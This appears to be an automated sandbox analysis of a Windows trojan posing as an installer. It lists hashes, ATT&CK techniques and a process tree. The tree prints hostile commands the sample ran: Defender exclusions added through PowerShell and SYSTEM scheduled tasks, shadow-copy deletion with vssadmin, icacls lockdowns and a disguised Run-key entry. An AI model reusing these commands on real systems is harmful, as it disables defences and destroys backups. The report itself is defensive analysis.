fde3dba2f0c30e07e2e4f4fd2537f41605ed18d09d2088ba1ee5780683f5bf8a

Analysis

max time kernel
142s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 07:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.13.exe
Size 30.5MB
Sample261024-h9lflaszgx
SHA256 fde3dba2f0c30e07e2e4f4fd2537f41605ed18d09d2088ba1ee5780683f5bf8a
MD5 8077bb48ea9ee90486419317468cd229
SHA1 fd46e6bb59830125ff46fdc66d9ee8e5ca458295
SHA512 14945c95a00340c743edcb94ba4e2069f2016c36eb9be5e7ee90e9b2e55a9890044a4ca51cbe67c66557325463d1b1a3aa7c309b6a1e3453b8327448aac7b38e
SSDEEP 196608:CZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYX:ZC/p+HuPOc4q
TLSH
T1D967181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\twv7iM = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3212	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
256	sAm2RX.exe
2896	sAm2RX.exe

Loads dropped DLL 2 IoCs

pid	Process
256	sAm2RX.exe
2896	sAm2RX.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4904	icacls.exe
440	icacls.exe
2172	icacls.exe
3572	icacls.exe
1924	icacls.exe
2536	icacls.exe
2860	icacls.exe
2180	icacls.exe
4360	icacls.exe
5972	icacls.exe
1360	icacls.exe
4300	icacls.exe
5416	icacls.exe
1160	icacls.exe
2188	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\twv7iM\\sAm2RX.exe\""	sAm2RX.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2480	cmd.exe
956	cmd.exe
2872	cmd.exe
1456	cmd.exe
5648	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	sAm2RX.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\aTk86a	sAm2RX.exe
File created	C:\Program Files (x86)\aTk86a\image.png	sAm2RX.exe
File opened for modification	C:\Program Files (x86)\aTk86a\image.png	sAm2RX.exe
File created	C:\Program Files (x86)\aTk86a\aTk86a.exe	sAm2RX.exe
File created	C:\Program Files (x86)\aTk86a\XPSPLOG.dll	sAm2RX.exe
File created	C:\Program Files (x86)\aTk86a\thumbs.db	sAm2RX.exe
File opened for modification	C:\Program Files (x86)\aTk86a\aTk86a.exe	sAm2RX.exe
File opened for modification	C:\Program Files (x86)\aTk86a\XPSPLOG.dll	sAm2RX.exe
File opened for modification	C:\Program Files (x86)\aTk86a\thumbs.db	sAm2RX.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 18 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
932	cmd.exe
4220	cmd.exe
2484	cmd.exe
5364	cmd.exe
3140	cmd.exe
4656	cmd.exe
4504	cmd.exe
1368	cmd.exe
3804	cmd.exe
5552	cmd.exe
716	cmd.exe
3696	cmd.exe
4564	cmd.exe
3592	cmd.exe
3732	cmd.exe
264	cmd.exe
2060	cmd.exe
3540	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	sAm2RX.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	sAm2RX.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.13.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.13.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3148	schtasks.exe
5064	schtasks.exe
1480	schtasks.exe
2920	schtasks.exe
2884	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
4140	install.2.0.13.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe
256	sAm2RX.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3212	powershell.exe
Token: SeIncreaseQuotaPrivilege	3212	powershell.exe
Token: SeSecurityPrivilege	3212	powershell.exe
Token: SeTakeOwnershipPrivilege	3212	powershell.exe
Token: SeLoadDriverPrivilege	3212	powershell.exe
Token: SeSystemProfilePrivilege	3212	powershell.exe
Token: SeSystemtimePrivilege	3212	powershell.exe
Token: SeProfSingleProcessPrivilege	3212	powershell.exe
Token: SeIncBasePriorityPrivilege	3212	powershell.exe
Token: SeCreatePagefilePrivilege	3212	powershell.exe
Token: SeBackupPrivilege	3212	powershell.exe
Token: SeRestorePrivilege	3212	powershell.exe
Token: SeShutdownPrivilege	3212	powershell.exe
Token: SeDebugPrivilege	3212	powershell.exe
Token: SeSystemEnvironmentPrivilege	3212	powershell.exe
Token: SeRemoteShutdownPrivilege	3212	powershell.exe
Token: SeUndockPrivilege	3212	powershell.exe
Token: SeManageVolumePrivilege	3212	powershell.exe
Token: 33	3212	powershell.exe
Token: 34	3212	powershell.exe
Token: 35	3212	powershell.exe
Token: 36	3212	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 256 wrote to memory of 3212	256	sAm2RX.exe	91
PID 256 wrote to memory of 956	256	sAm2RX.exe	93
PID 956 wrote to memory of 2884	956	cmd.exe	95
PID 256 wrote to memory of 2872	256	sAm2RX.exe	97
PID 956 wrote to memory of 5780	956	cmd.exe	100
PID 2872 wrote to memory of 3148	2872	cmd.exe	101
PID 956 wrote to memory of 2496	956	cmd.exe	103
PID 256 wrote to memory of 1456	256	sAm2RX.exe	105
PID 2872 wrote to memory of 2584	2872	cmd.exe	107
PID 256 wrote to memory of 5648	256	sAm2RX.exe	108
PID 1456 wrote to memory of 5064	1456	cmd.exe	111
PID 2872 wrote to memory of 5312	2872	cmd.exe	112
PID 5648 wrote to memory of 1480	5648	cmd.exe	113
PID 1456 wrote to memory of 2580	1456	cmd.exe	114
PID 256 wrote to memory of 2480	256	sAm2RX.exe	115
PID 5648 wrote to memory of 4464	5648	cmd.exe	117
PID 2480 wrote to memory of 2920	2480	cmd.exe	118
PID 1456 wrote to memory of 1528	1456	cmd.exe	119
PID 5648 wrote to memory of 5060	5648	cmd.exe	120
PID 2480 wrote to memory of 2148	2480	cmd.exe	121
PID 2480 wrote to memory of 5716	2480	cmd.exe	122
PID 3732 wrote to memory of 3428	3732	cmd.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4140

C:\Users\Public\twv7iM\sAm2RX.exe
"C:\Users\Public\twv7iM\sAm2RX.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\twv7iM\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:956
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\twv7iM\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3148
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2584
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5064
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5648
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1480
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2920
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2148
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5716
- C:\Program Files (x86)\aTk86a\aTk86a.exe
  "C:\Program Files (x86)\aTk86a\aTk86a.exe"
  2⤵
  PID:5468
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:932
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4504
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2180
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4220
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2484
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4360
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:3540
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:2860
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\aTk86a.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2060
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\aTk86a.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\aTk86a.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3592
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\aTk86a.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2172
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\aTk86a.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:716
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\aTk86a.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:3572
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5552
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1160
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4656
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5416
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:264
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:2188
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4564
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2536
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3140
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:1360
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:1924
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3804
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:440
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3696
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4300
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\aTk86a\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\aTk86a\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4904

C:\Users\Public\twv7iM\sAm2RX.exe
"C:\Users\Public\twv7iM\sAm2RX.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2896

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\twv7iM" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3732
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\twv7iM" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3428

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2476

C:\Program Files (x86)\aTk86a\aTk86a.exe
"C:\Program Files (x86)\aTk86a\aTk86a.exe"
1⤵
PID:2988

C:\Program Files (x86)\9t1jB6x\jey208Cfs.exe
"C:\Program Files (x86)\9t1jB6x\jey208Cfs.exe"
1⤵
PID:2312

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\9t1jB6x\XPSPLOG.dll
Size 4.6MB
SHA256 1333522290623da5b8b30df23157c8d7fd86932b901b65e23ca951b5fc14128c
MD5 36b6da671f462c189f8cd0966f2b6bcd
SHA1 cdbaca6242be1df8e8b699304244b1543f617da0
SHA512 3f89eb8d381181b8e7713c95d1b856cb96fbf2318917279971fc4375aff4ba6eed5efc578fbccd0f5beb050229b41ef9106d580371cd1085def579f464c46102
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyp:BMWKfU+BcUTHCCCfqCiUffnp
TLSH
T181263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\aTk86a\XPSPLOG.dll
Size 4.6MB
SHA256 24da3fc1bcc696f48b97b10c637c8c7eb8ad988529a281c79e15922b9c98b417
MD5 8a0ecd5d7f90d62c91d5574dfb874c9b
SHA1 34203f9a8f904149672f505352de41039ff85920
SHA512 9e1d386b4aec73f8b56dfa8914ae51cd818f18815a530dd0633d4dbd4bbfcb098ce38cba9d4fa803cf826196ab6a669d14bd4e34a7cc493b95f6990ed5d2c44e
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmys:BMWKfU+BcUTHCCCfqCiUffns
TLSH
T1C1263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

aTk86a.exe

Path C:\Program Files (x86)\aTk86a\aTk86a.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\aTk86a\image.png
Size 4.8MB
SHA256 684ef580c6c6e21a79cd748f3306f8630d1d8871c052a82f612bdb69f9ea0a82
MD5 b818e138056bd118e8c329f58a5e6c80
SHA1 ee1f20ccff274366a4cc80627c8ec599ae247db1
SHA512 d36deb01fa6577eca1cf56cb75e8045f1ec363340ce7f6ee39871836e2aff29b13f398b573b6c347ae4508310e217202b547069d870e0086a479d87908bb8e22
SSDEEP 98304:e/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:eMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1B936334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\aTk86a\thumbs.db
Size 358KB
SHA256 590f5a6a04aeb47f9085681435a99d8a5af775b18f91ab22b5fdb1ae4636c15c
MD5 d5404c0d2dbdad61847b8fffc247060b
SHA1 d02d5ca5f0d88f8f2830d7196a819b8e4e7a18e5
SHA512 e204641e1494c0a6de9e3e3b7bc46f2d14752aded95207009461c886c148126d0c25feb5b03de01b7021635ad57b35fb6a10dc390f4d938f39365a1ced2a46c1
SSDEEP 6144:UiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:D8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T18174F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

